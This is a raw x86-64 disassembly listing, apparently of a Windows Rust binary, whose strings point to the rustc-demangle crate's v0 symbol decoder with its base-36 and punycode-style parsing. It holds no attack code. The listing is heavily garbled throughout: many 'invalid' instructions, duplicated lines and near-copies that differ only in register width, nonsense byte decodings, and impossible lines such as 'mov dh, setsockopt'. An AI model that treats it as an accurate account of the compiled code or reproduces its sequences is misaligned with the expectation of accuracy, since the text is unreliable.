call qword [rax + 0x28c48348]
nop
add rsp, 0x28
invalid
nop
add rsp, 0x28
invalid
sub byte [rsi + 0x5d], bl
pop rsi
pop rbp
ret
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
invalid
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x30]
push 0x30
mov rax, qword [rbp - 8]
mov byte [rax + 0x198], 0
lea rcx, [rax + 0x150]
add dword [rax], eax
invalid
add dword [rax], eax
add al, ch
mov ch, byte [rbx + 0x4890fff2]
add esp, 0x28
invalid
invalid
add byte [rax], al
call fcn.14006b810
nop
add rsp, 0x28
invalid
invalid
invalid
pop rsi
pop rbp
ret
nop
nop
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 0x128]
call fcn.140003020
nop
add rsp, 0x28
add esp, 0x28
add esp, 0x28
sub byte [rsi + 0x5d], bl
pop rsi
pop rbp
ret
invalid
adc byte [rax + 0x29], cl
ror byte [rax + 0x39], 1
clc
sub eax, edx
jge case.0x140124c59.84
mov ebx, dword [rdi + 8]
or byte [rbx + rcx*4 + 0x76], cl
adc byte [rcx + rbp - 0x10], cl
invalid
mov esi, dword [rsi + 0x10]
invalid
invalid
mov ecx, esi
mov esi, dword [rsi + 0x10]
adc byte [rbx + rcx*4 + 0x7d], cl
or byte [rax - 0x75], cl
invalid
add ecx, esi
clc
add al, 0
add byte [rcx + 1], cl
dec byte [rcx + rcx*4 + 0x76]
adc byte [rax - 0x77], cl
jge 0x140140d56
invalid
add byte [rcx - 0x75], cl
adc byte [r8 - 0x77], r9b
adc byte [rax - 0x77], cl
enter 0x2948, 0xfffffffffffffff8
mov dword [rdi + 0x10], eax
or byte [rax - 0x77], cl
invalid
mov edi, eax
push qword [rbp - 0x62]
mov edx, dword [rdi + 8]
stc
jmp rax
mov eax, ebp
fmul dword [rax - 0x73]
add eax, 0xffed3645
in eax, dx
invalid
in eax, dx
in eax, dx
dec dword [rax - 0x77]
loopne 0x140140df8
lea ecx, [rbp - 8]
invalid
mov dword [rbp - 0x58], eax
add byte [rax], al
add byte [rax - 0x39], cl
enter 0, 0
add byte [rax], al
add byte [rax], al
lea rax, [rbp - 0x28]
invalid
invalid
add byte [rax], al
add byte [rax], al
fmul dword [rax - 0x77]
mov r8d, 0xc045c748
mov eax, 0xc045c748
mov dword [rbp - 0x40], 2
add al, byte [rax]
add byte [rax], al
mov edx, 0xf00045b
pop rbx
add al, 0
or ecx, dword [rdi]
nop dword [rax + rax]
invalid
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push r15
push r14
push rsi
push rdi
push rbx
sub rsp, 0x28
sub esp, 0x28
in al, dx
sub byte [rax - 0x73], cl
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 8]
invalid
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 8]
call fcn.14001cab0
invalid
invalid
in eax, dx
invalid
nop
invalid
in eax, dx
call qword [rax + 0x28c48348]
add rsp, 0x28
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
pop r15
pop rbp
ret
sub esp, 0x38
and al, 0x30
add r14b, r15b
invalid
invalid
invalid
clc
imul ecx, dword [r8 - 0x7d], 0xfffffff8
add eax, 0x8d481677
ja case.default.0x140140e5f
lea rcx, [0x1401efa7c]
or al, byte [rax]
invalid
mov esi, dword [rbp - 8]
xchg byte [rax + 0x48000000], dl
mov ecx, dword [0x14023c258]
invalid
imul r8d, dword [rax], 0xf8458b48
add byte [rax - 0x75], cl
clc
add byte [rax + 0x74006878], al
invalid
mov eax, dword [rbp - 8]
clc
clc
lea rcx, [r8 + 0x58]
mov eax, dword [rax + 0x50]
push rax
push rax
push 0xffffffffc1834800
and byte [rax - 0x7d], cl
invalid
invalid
add byte [rax], al
add byte [rax], al
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
push 0x30
push 0x30
mov rcx, qword [rbp - 8]
mov byte [rcx + 0x68], 0
add rcx, 0x20
shl dword [rax], 0xe8
adc byte [rcx + 0x4890fff2], ch
add esp, 0x28
shl dword [rax], 0xe8
adc byte [rcx + 0x4890fff2], ch
add esp, 0x28
pop rsi
pop rbp
ret
int3
int3
mov ecx, dword [rcx]
test rcx, rcx
leave
je 0x140141396
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
cmp eax, 0x1f5
add byte [rax], al
jae 0x140140fb5
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae case.0x140140f76.2
invalid
add byte [rax], al
invalid
add eax, 0xd5890000
add byte [rcx + 0x1cb60fd5], cl
mov ebp, edx
movzx ebx, byte [rcx + rax]
lea rdx, [rax + 1]
mov qword [rsi + 0x10], rdx
invalid
add dword [rax - 0x73], ecx
push rax
add dword [rax - 0x77], ecx
push rsi
adc byte [rbp + rcx*4 + 0x4b], al
lea r9d, [rbx - 0x42]
cmp r9d, 0x17
cmp ecx, 0x17
mov esi, 0x17f98341
cmp ecx, 0x17
ja case.0x140140f76.2
lea r10, [0x1401efa94]
or al, byte [rax]
movsxd r9, dword [r10 + r9*4]
or al, 0x8a
add r9, r10
jmp r9
cmp rdx, r8
jae 0x1401413dc
sbb dword [rdx + 4], 0
invalid
sbb dword [rdx + 4], 0
add byte [rax + 0xf73113c], al
jae 0x140140f96
test dword [rax + 4], edx
add byte [rax], al
cmp byte [rcx + rdx], 0x73
jne 0x1401413dc
jae 0x140140f96
lea r9, [rax + 2]
mov qword [rsi + 0x10], r9
mov dword [rsi + 0x10], ecx
mov dword [rsi + 0x10], ecx
cmp r9, r8
jae 0x140141217
add byte [rax], al
add byte [rax], al
cmp byte [rcx + r9], 0x5f
pop rdi
jne 0x140141217
add rax, 3
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x10], eax
add ecx, dword [rax - 0x77]
adc cl, r13b
invalid
jmp 0x1401413dc
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x140140fdb
sbb eax, 0xfb158d48
lea rdx, [0x1401bfec0]
mov r8d, 0x19
sbb dword [rax], eax
add byte [rax], al
sti
out dx, al
invalid
sbb dword [rax], eax
add byte [rax], al
call fcn.140013e80
mov dil, 1
test al, al
in eax, dx
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x4e6850f], eax
jne 0x1401414c1
jne 0x1401414c1
mov qword [rsi], 0
mov byte [rsi + 8], 1
jmp 0x1401414bf
invalid
add al, 0
invalid
mov rcx, rsi
mov edx, ebp
call fcn.140141640
mov dil, 1
jmp 0x140141483
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.1401417f0
cmp byte [rsp + 0x30], 0
add byte [rdi], cl
test byte [rdx + rax], ch
insb byte [rdi], dx
add al, byte [rax]
invalid
add byte [rdi], cl
test byte [rdx + rax], ch
insb byte [rdi], dx
add al, byte [rax]
add byte [rdi], cl
mov dh, 0x5c
and al, 0x31
movzx ebx, byte [rsp + 0x31]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140141052
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x1401bfec0]
invalid
add byte [rax + 0xf], cl
invalid
invalid
invalid
movzx eax, bl
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.140013e80
mov dil, 1
test al, al
ror byte [rdi], 0x85
outsd dx, dword [rsi]
add al, 0
invalid
ror byte [rdi], 0x85
outsd dx, dword [rsi]
add al, 0
add byte [rax - 0x39], cl
invalid
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1401414bf
mov rcx, rsi
mov edx, ebp
call fcn.140140f10
mov dil, 1
test al, al
jne 0x1401414c1
test bpl, bpl
je 0x14014109e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14014109e
lea rdx, [0x1401bfa90]
lea edx, [0x1401bfa90]
mov r8d, 2
call fcn.140013e80
test al, al
ror byte [rdi], 0x85
and eax, dword [rax + rax]
invalid
ror byte [rdi], 0x85
and eax, dword [rax + rax]
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401410c1
lea rdx, [0x1401bfb4b]
mov r8d, 1
add byte [rax], al
add al, ch
invalid
sub eax, 0xc084ffed
jne 0x1401414c1
add byte [rax], al
add al, ch
invalid
mov rcx, rsi
mov ecx, esi
call case.0x14012082a.209
test rax, rax
jne 0x1401414c1
invalid
jmp 0x140141468
mov rcx, rsi
call fcn.140142160
mov rbx, rax
test bl, 1
jne case.0x14011ca0b.180
mov rcx, rsi
mov edx, ebp
call fcn.140140f10
mov dil, 1
test al, al
jne 0x1401414c1
cmp qword [rsi], 0
je 0x140141365
lea rcx, [rsp + 0x30]
mov rdx, rsi
call fcn.1401417f0
cmp byte [rsp + 0x30], 0
jne 0x140141015
invalid
dec dword [rax - 0x7d]
add byte ds:[rdi], cl
test byte [rdx + 2], ch
add byte [rax], al
cmp qword [rsi], 0
je 0x140141396
mov r14, qword [rsp + 0x38]
lea rcx, [rsp + 0x30]
xor byte [rax - 0x77], cl
bnd call fcn.1401418c0
xor byte [rax - 0x77], cl
bnd call fcn.1401418c0
cmp qword [rsp + 0x30], 0
je 0x14014134e
and al, 0x68
je 0x140141487
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], cl
leave
je 0x140141487
test ah, bh
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0x7e8fe
invalid
lea rdx, [0x1401bfa90]
add byte [rcx - 0x48], al
add al, byte [rax]
add byte [rax], al
mov r8d, 2
call fcn.140013e80
test al, al
jne 0x1401414c1
sub al, 0xed
inc dword [rax + rax*8 + 0x31c850f]
add byte [rax], al
mov rdx, qword [rsi + 0x20]
test rdx, rdx
je 0x140141487
invalid
add al, byte [rax]
invalid
invalid
lea rcx, [rsp + 0x50]
call fcn.140141af0
jmp 0x140141483
mov rdi, qword [rsi + 0x20]
jmp 0x1401413fe
shr ebx, 8
and bl, 1
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140141208
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
fisttp dword [rax - 0x73]
add eax, 0x7ecce
lea rdx, [0x1401bfec0]
cmove rdx, rax
movzx eax, bl
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.140013e80
mov dil, 1
test al, al
jne 0x1401414c1
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x1401414bf
invalid
xor eax, eax
mov r10d, 0x3e
cmp r9, r8
jae case.0x140140f76.2
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
je 0x1401413c2
mov dh, setsockopt
or dword [rax - 0x7bf0a006], eax
mov word [rcx], es
add byte [rax], al
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
jb 0x140141263
adc dword [rbp + rcx*4 + 0x5a], eax
mov edi, 0x1afb8041
jae case.0x140140f76.2
add dl, 0xe3
mov r11d, edx
ror dword [rcx - 1], cl
ror dword [rcx + rcx*4 + 0x4e], 0x10
ror dword [rcx - 1], cl
ror dword [rcx + rcx*4 + 0x4e], 0x10
mul r10
jo case.0x140140f76.2
add byte [rcx + 0xf], al
mov dh, 0xd3
movzx edx, r11b
add rax, rdx
jae 0x14014121f
jmp case.0x140140f76.2
add dword [rax], eax
add byte [rax - 0x75], cl
and byte [rax - 0x75], r9b
and byte [rax - 0x75], cl
sub byte [rax - 0x73], cl
adc eax, 0xa9301
mov r8d, 1
call qword [rax + 0x18]
jmp 0x140141483
and byte [rax - 0x7b], cl
leave
jne case.0x14013605b.57
jmp 0x140141052
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401414bf
lea rdx, [0x1401bfa90]
mov r8d, 2
call fcn.140013e80
in eax, dx
inc dword [rax + rax*8 + 0x135850f]
add byte [rax], al
in eax, dx
inc dword [rax + rax*8 + 0x135850f]
add byte [rax], al
cmp qword [rsi], 0
jne 0x14014110a
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401414bf
invalid
lea rdx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 1
add rsp, 0x90
add byte [rbx + 0x5d], bl
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r14
jmp fcn.140013e80
inc r9
mov qword [rsi + 0x10], r9
inc rax
je case.0x140140f76.2
mov rdi, qword [rsi + 0x20]
mov qword [rsi + 0x20], 0
mov rcx, rsi
xor edx, edx
call fcn.140140f10
test al, al
jne 0x140141612
mov qword [rsi + 0x20], rdi
test rdi, rdi
je 0x140141423
out 7, eax
add byte [rcx - 0x48], al
add dword [rax], eax
add byte [rax], al
mov rcx, rdi
call fcn.140013e80
mov dil, 1
test al, al
jne 0x1401414c1
sub ch, byte [rdx]
in eax, dx
inc dword [rax + rax*8 - 0x76b7988b]
int1
xor edx, edx
call fcn.140140f10
invalid
invalid
test al, al
jne 0x1401414c1
invalid
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140141487
lea rdx, [0x1401bfb4a]
mov r8d, 1
call fcn.140013e80
test al, al
jne 0x1401414c1
cmp qword [rsi], 0
je 0x1401414bf
dec dword [rsi + 0x18]
jmp 0x1401414bf
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401414b4
xor edi, edi
mov eax, edi
add rsp, 0x90
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
lea rax, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
lea rcx, str._fmt::Error_s_should_be_impossible_without_a__fmt::Formatter_
lea r9, [0x1401bf8b8]
lea r8, [rsp + 0x30]
mov edx, 0x3d
call fcn.140186ec0
ud2
mov edx, dword [rcx]
test r10, r10
je 0x1401416f0
mov r8d, edx
mov r11, qword [rsi + 8]
mov rcx, qword [rsi + 0x10]
cmp rcx, r11
jae 0x14014167d
cmp byte [r10 + rcx], 0x5f
jne 0x14014167d
lea rax, [rcx + 1]
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x140141723
add dword [r8 - 0x77], ecx
adc byte [rcx], r14b
shr cl, 0xa6
add byte [rax], al
add byte [rcx], dh
sar byte [rbx + 0x3e], 0x48
mov edi, ecx
xor eax, eax
mov ebx, 0x3e
mov rdi, rcx
nop word [rax + rax]
mov r9b, 1
cmp rdi, r11
jae 0x140141783
movzx edx, byte [r10 + rdi]
cmp dl, 0x5f
je 0x140141717
lea ebp, [rdx - 0x30]
cmp bpl, 0xa
jb 0x1401416d2
lea ebp, [rdx - 0x61]
cmp bpl, 0x1a
jae 0x1401416c0
add dl, 0xa9
jmp 0x1401416d0
lea ebp, [rdx - 0x41]
cmp bpl, 0x1a
jae 0x140141783
add dl, 0xe3
mov ebp, edx
inc rdi
mov qword [rsi + 0x10], rdi
mul rbx
jo 0x140141783
movzx edx, bpl
add rax, rdx
jae 0x140141690
jmp 0x140141783
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401417cb
lea rdx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
jmp fcn.140013e80
invalid
in eax, dx
invalid
inc rdi
mov qword [rsi + 0x10], rdi
inc rax
je 0x140141783
dec rcx
cmp rax, rcx
jae 0x140141780
mov ecx, dword [rsi + 0x18]
inc ecx
cmp ecx, 0x1f5
add byte [rax], al
jae 0x1401417d6
cmp qword [rsi + 0x20], 0
je 0x1401417cb
movups xmm0, xmmword [rsi]
movups xmm1, xmmword [rsi + 0x10]
movaps xmmword [rsp + 0x30], xmm1
movaps xmmword [rsp + 0x20], xmm0
mov qword [rsi + 0x10], rax
mov dword [rsi + 0x18], ecx
test r8b, r8b
setne dl
mov rcx, rsi
call fcn.140140f10
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
jmp case.0x14010aa3a.772
mov r9b, 1
xor edi, edi
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1401417c0
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x1401bfec0]
test r9b, r9b
cmovne rdx, rax
xor r9b, 1
movzx eax, r9b
mov dh, 0xc1
mov dh, 0xc1
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.140013e80
mov ecx, eax
mov al, 1
test cl, cl
jne case.0x14010aa3a.772
mov qword [rsi], 0
mov byte [rsi + 8], dil
xor eax, eax
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov dil, 1
xor r9d, r9d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
jne 0x14014178e
jmp 0x1401417c0
mov r9, qword [rdx + 8]
mov rax, qword [rdx + 0x10]
cmp rax, r9
jae 0x14014182c
invalid
mov r8, rdx
mov r10, qword [rdx]
cmp byte [r10 + rax], 0x73
jne 0x14014182c
lea r11, [rax + 1]
mov qword [r8 + 0x10], r11
cmp r11, r9
retf
jae 0x140141838
retf
cmp byte [r10 + r11], 0x5f
jne 0x140141838
add rax, 2
mov qword [r8 + 0x10], rax
xor eax, eax
jmp 0x1401418a1
mov qword [rcx + 8], 0
xor eax, eax
jmp 0x1401418ac
xor eax, eax
mov esi, 0x3e
nop
cmp r11, r9
jae 0x1401418a6
movzx edx, byte [r10 + r11]
cmp dl, 0x5f
je 0x140141895
lea edi, [rdx - 0x30]
cmp dil, 0xa
jb 0x14014187e
lea edi, [rdx - 0x61]
cmp dil, 0x1a
jae 0x140141870
add dl, 0xa9
jmp 0x14014187c
lea edi, [rdx - 0x41]
cmp dil, 0x1a
jae 0x1401418a6
add dl, 0xe3
mov edi, edx
inc r11
mov qword [r8 + 0x10], r11
mul rsi
jo 0x1401418a6
movzx edx, dil
add rax, rdx
jae 0x140141840
jmp 0x1401418a6
inc r11
mov qword [r8 + 0x10], r11
inc rax
je 0x1401418a6
inc rax
jne 0x1401418b1
invalid
or eax, esi
add dword [r8], eax
mov byte [rcx + 1], 0
mov al, 1
mov byte [rcx], al
pop rdi
pop rsi
ret
mov qword [rcx + 8], rax
xor eax, eax
jmp 0x1401418ac
invalid
int3
int3
ror dword [rbx + rcx*4 + 0x4a], cl
or byte [rbx + rcx*4 + 0x42], cl
adc byte [rbp + 0x39], cl
enter 0x1e73, 0x49
mov eax, dword [rbx]
cmp byte [rax + r8], 0x75
jne 0x1401418f5
cmp al, 0
jne 0x140141955
adc al, 0x49
inc eax
inc r8
mov qword [r11 + 0x10], r8
mov sil, 1
cmp r8, r9
jb 0x140141900
jmp 0x140141a7b
xor esi, esi
cmp r8, r9
jae 0x140141a7b
mov r10, qword [r11]
movzx eax, byte [r10 + r8]
lea edx, [rax - 0x3a]
cmp dl, 0xf6
jb 0x140141a7b
inc r8
mov qword [r11 + 0x10], r8
add al, 0xd0
je 0x140141962
movzx eax, al
mov edi, 0xa
nop word [rax + rax]
cmp r9, r8
je 0x14014199e
movzx ebx, byte [r10 + r8]
lea edx, [rbx - 0x3a]
cmp dl, 0xf6
jb 0x140141964
inc r8
mov qword [r11 + 0x10], r8
mul rdi
jo 0x140141a7b
add bl, 0xd0
movzx edx, bl
add rax, rdx
jae 0x140141930
jmp 0x140141a7b
xor eax, eax
cmp r8, r9
jae 0x140141977
cmp byte [r10 + r8], 0x5f
jne 0x140141977
inc r8
mov qword [r11 + 0x10], r8
invalid
invalid
adc byte [r9 + r8 - 0x40], cl
add rax, r8
jb 0x140141a7b
mov qword [r11 + 0x10], rax
cmp rax, r9
adc byte [r9 + r15 - 0x38], cl
ja 0x140141a7b
cmp r8, r9
jae 0x1401419ab
cmp byte [r10 + r8], 0xc0
jge 0x1401419b1
jmp 0x140141a93
mov r8, r9
add rax, r8
jae 0x140141980
jmp 0x140141a7b
jne 0x140141a93
test rax, rax
je 0x1401419c6
cmp rax, r9
jae 0x1401419c6
cmp byte [r10 + rax], 0xbf
jle 0x140141a93
lea r9, [r10 + r8]
mov rdx, rax
sub rdx, r8
test sil, sil
je 0x140141a18
add rax, r10
sub rax, r9
lea r11, [r8 + r10]
dec r11
lea r10, [0x1401ea218]
nop dword [rax]
test rax, rax
je 0x140141a34
mov r8, rax
dec rax
cmp byte [r11 + r8], 0x5f
jne 0x1401419f0
test rax, rax
je 0x140141a43
cmp rax, rdx
jae 0x140141a38
cmp byte [r9 + rax], 0xbf
jg 0x140141a43
jmp 0x140141ac8
mov qword [rcx], r9
mov qword [rcx + 8], rdx
lea rax, [0x1401ea218]
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 0
jmp 0x140141a86
xor eax, eax
jmp 0x140141a65
jne 0x140141ac8
test r8, r8
je 0x140141a8e
mov r10, rdx
sub r10, r8
jbe 0x140141a54
cmp byte [r9 + r8], 0xbf
jg 0x140141a59
jmp 0x140141aaf
jne 0x140141aaf
mov r8, rdx
mov rdx, r10
add r8, r9
mov r10, r9
mov r9, r8
test rdx, rdx
je 0x140141a7b
mov qword [rcx], r10
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r9
mov qword [rcx + 0x18], rdx
jmp 0x140141a86
mov byte [rcx + 8], 0
mov qword [rcx], 0
add byte [rax], al
add rsp, 0x30
pop rbx
pop rdi
pop rsi
ret
xor r8d, r8d
jmp 0x140141a5c
lea rcx, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
lea ecx, [0x1401bfe68]
mov qword [rsp + 0x20], rcx
mov rcx, r10
mov rdx, r9
mov r9, rax
call fcn.1401870e0
ud2
lea rax, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rax
mov rcx, r9
mov r9, rdx
call fcn.1401870e0
ud2
lea rcx, str.C:Users_runneradmin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rustc_demangle_0.1.23_src_v0.rs
mov qword [rsp + 0x20], rcx
mov rcx, r9
xor r8d, r8d
mov r9, rax
call fcn.1401870e0
ud2
mov ecx, dword [rsp]
mov rax, qword [r12 + 8]
test rax, rax
mov qword [rsp + 0x88], rcx
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdi], cl
test byte [rax], bl
add dword [rax], eax
invalid
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
add byte [rdi], cl
test byte [rax], bl
add dword [rax], eax
add byte [rax + 1], cl
enter 0x3145, 0xffffffffffffffe4
add rax, rcx
xor r12d, r12d
nop
movzx r11d, byte [rcx]
movzx edx, r11b
test dl, dl
sar byte [rax + 0x24], cl
inc rcx
cmp r12, 0x80
jne 0x140141c40
jmp 0x140142060
mov r9d, edx
and r9d, 0x1f
movzx esi, byte [rcx + 1]
and esi, 0x3f
cmp dl, 0xdf
jbe 0x140141bff
movzx r10d, byte [rcx + 2]
shl esi, 6
and r10d, 0x3f
or r10d, esi
cmp r11b, 0xf0
jb 0x140141c1b
movzx edx, byte [rcx + 3]
and r9d, 7
shl r9d, 0x12
shl r10d, 6
loop 0x140141bde
and edx, 0x3f
or edx, r10d
or edx, r9d
cmp edx, 0x110000
je 0x140141c84
xchg edi, eax
add byte [rax], al
invalid
add rcx, 4
cmp r12, 0x80
jne 0x140141c40
jmp 0x140142060
add al, 0
add byte [rax - 0x7d], cl
rol dword [rdx], 0x41
shl ecx, 6
add rcx, 2
shl r9d, 6
or r9d, esi
mov edx, r9d
retf 0x8149
cld
add byte [rax], 0
invalid
retf 0x8149
jne 0x140141c40
jmp 0x140142060
add rcx, 3
shl r9d, 0xc
or r10d, r9d
mov edx, r10d
mov edx, edx
cmp r12, 0x80
je 0x140142060
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
mov dword [rsp + r12*4 + 0x98], edx
inc r12
inc esp
cmp rcx, rax
jne 0x140141b70
jmp 0x140141c84
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
jmp rax
xor r12d, r12d
mov rax, qword [rsp + 0x70]
mov rbx, qword [rsp + 0x58]
add rax, rbx
mov qword [rsp + 0x78], rax
lea rax, [r12 - 1]
mov qword [rsp + 0x80], rax
lea rax, [r12*4 + 4]
add al, 0xa5
add al, 0
add byte [rax], al
add al, 0xa5
add al, 0
add byte [rax], al
mov qword [rsp + 0x30], rax
lea rbp, [rsp + r12*4]
add rbp, 0x98
add ebp, 0x98
add ebp, 0x98
mov rax, r12
neg rax
mov qword [rsp + 0x50], rax
and al, 0x50
and al, 0x50
mov rax, r12
not rax
mov qword [rsp + 0x48], rax
lea rax, [r12 + 1]
mov qword [rsp + 0x20], rax
mov eax, 0x2bc
add al, byte [rax]
invalid
mov qword [rsp + 0x28], rax
mov r14d, 0x48
mov r15d, 0x80
add byte [rax], 0
add byte [rcx - 0x47], al
sbb al, byte [rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x41], al
add byte [rax], 0
add byte [rax], al
add byte [rcx - 0x47], al
sbb al, byte [rax]
add byte [rax], al
movabs rsi, 0xea0ea0ea0ea0ea0f
xor eax, eax
ror byte [rax - 0x77], 0x44
and al, 0x38
invalid
movabs al, byte [0x24448948c031ea0e]
cmp byte [rcx], dh
leave
invalid
xor ecx, ecx
mov edx, 0x24
sub rdx, r14
mov eax, 0
cmovae rax, rdx
cmp rax, 1
adc rax, 0
rol byte [rax], 1
rol byte [rax], 1
cmp rax, 0x1a
mov edi, 0x1a
cmovae rax, r9
lea edx, [r8 - 0x61]
cmp dl, 0x1a
jb 0x140141d4d
invalid
lea edx, [r8 - 0x30]
cmp dl, 9
ja 0x140142060
add r8b, 0xea
mov edx, r8d
mov edx, eax
inc rbx
movzx r9d, dl
cmp rax, r9
jbe 0x140141d90
add rcx, r9
add ecx, ecx
jb 0x140142060
lea r13, [r12 + 1]
insb byte [rdi], dx
and al, 1
mov rax, rcx
or rax, r13
enter 0x94c, 0xffffffffffffffe8
shr rax, 0x20
je 0x140141e2b
mov rax, rcx
xor edx, edx
div r13
cmc
cmc
mov r10, rdx
jmp 0x140141e35
mov r8d, 0x24
mov eax, 0x24
add byte [rax], al
sub r8, rax
mov r13d, 0x48
add byte [rax], al
invalid
nop
rol byte [rcx - 0x43], 0x48
add byte [rax], al
add byte [rax], al
add byte [rax + 0x4ce8894c], dl
mov rax, r13
mov eax, ebp
call 0x1820446f3
mov ebx, 0
invalid
sub rax, r14
sub eax, esi
mov r11d, 0
add byte [rdi + rcx + 0x43], cl
fmul dword [rcx - 0x7d]
invalid
cmovae r11, rax
cmp r11, 1
cmp ebx, 1
sti
add dword [rcx - 0x7d], ecx
adc r11, 0
adc r11, 0
cmp r11, 0x1a
cmovae r11, rdi
cmovae ebx, edi
fisttp word [r8 + 0x3b]
cmp rbx, qword [rsp + 0x78]
pop rsp
and al, 0x78
invalid
js 0x140141dd5
je 0x140142060
test byte [rbp + 0xf000002], dl
mov dh, 3
invalid
movzx eax, byte [rbx]
add ecx, dword [rbp - 0x57f60b0]
sbb dh, byte [rdx + 0x10]
lea edx, [rax - 0x61]
push rax
lahf
cmp dl, 0x1a
jb 0x140141de6
adc byte [rbp - 0x57f2fb0], cl
or dword [rdi], ecx
xchg dword [rsi + 2], edi
add byte [rax], al
lea edx, [rax - 0x30]
cmp dl, 9
ja 0x140142060
add al, 0xea
mov edx, eax
movzx r10d, dl
mov rax, r10
mul r8
jo 0x140142060
sub byte [rdx + 2], 0
invalid
sub byte [rdx + 2], 0
add byte [rcx + 1], cl
ror dword [rdi], 0x82
invalid
add r9, rax
jb 0x140142060
inc rbx
cmp r11, r10
ja case.0x14011633f.417
mov edx, 0x24
sub rdx, r11
add byte [rax], al
add byte [rcx + rbp - 0x26], cl
add r13, 0x24
mov rax, r8
mov eax, eax
mov eax, eax
mul rdx
mov r8, rax
jno 0x140141da0
jmp 0x140142060
add byte [rcx + 0x41d231c8], cl
div ebp
mov eax, ecx
xor edx, edx
div r13d
mov r10d, edx
add r15, rax
setb al
mov rdx, qword [rsp + 0x68]
cmovae rdx, r15
mov qword [rsp + 0x68], rdx
push 0x48fa894c
shr edx, 0x20
invalid
invalid
push 0x48fa894c
shr edx, 0x20
invalid
invalid
invalid
jne 0x140142060
add byte [rax + rax*8 + 0x202850f], al
add byte [rax], al
test al, al
jne 0x140142060
cmp r15d, 0x110000
je 0x140142060
add dword [rax], eax
add byte [rcx + rcx*4 - 8], al
mov eax, r15d
xor eax, 0xd800
add byte [rax], al
add eax, 0xfffff800
cmp eax, 0x10f7ff
ja 0x140142060
xchg ebp, ebx
add dword [rax], eax
add byte [rax], al
xchg ebp, ebx
add dword [rax], eax
add byte [rax], al
invalid
invalid
cld
add byte [rax], al
cmp r12, 0x7f
ja 0x140142060
jg 0x140141e97
xchg ebx, edx
add dword [rax], eax
add byte [rbp + 0x39], cl
cmp esp, edx
cmp r12, r10
cmp esp, edx
jbe 0x140141ec0
mov eax, r12d
sub eax, r10d
test al, 3
mov rdi, qword [rsp + 0x38]
shr byte [rax + 0x7c8b4803], 1
and al, 0x38
je 0x140141f13
mov rax, rcx
mov r8, qword [rsp + 0x20]
or rax, r8
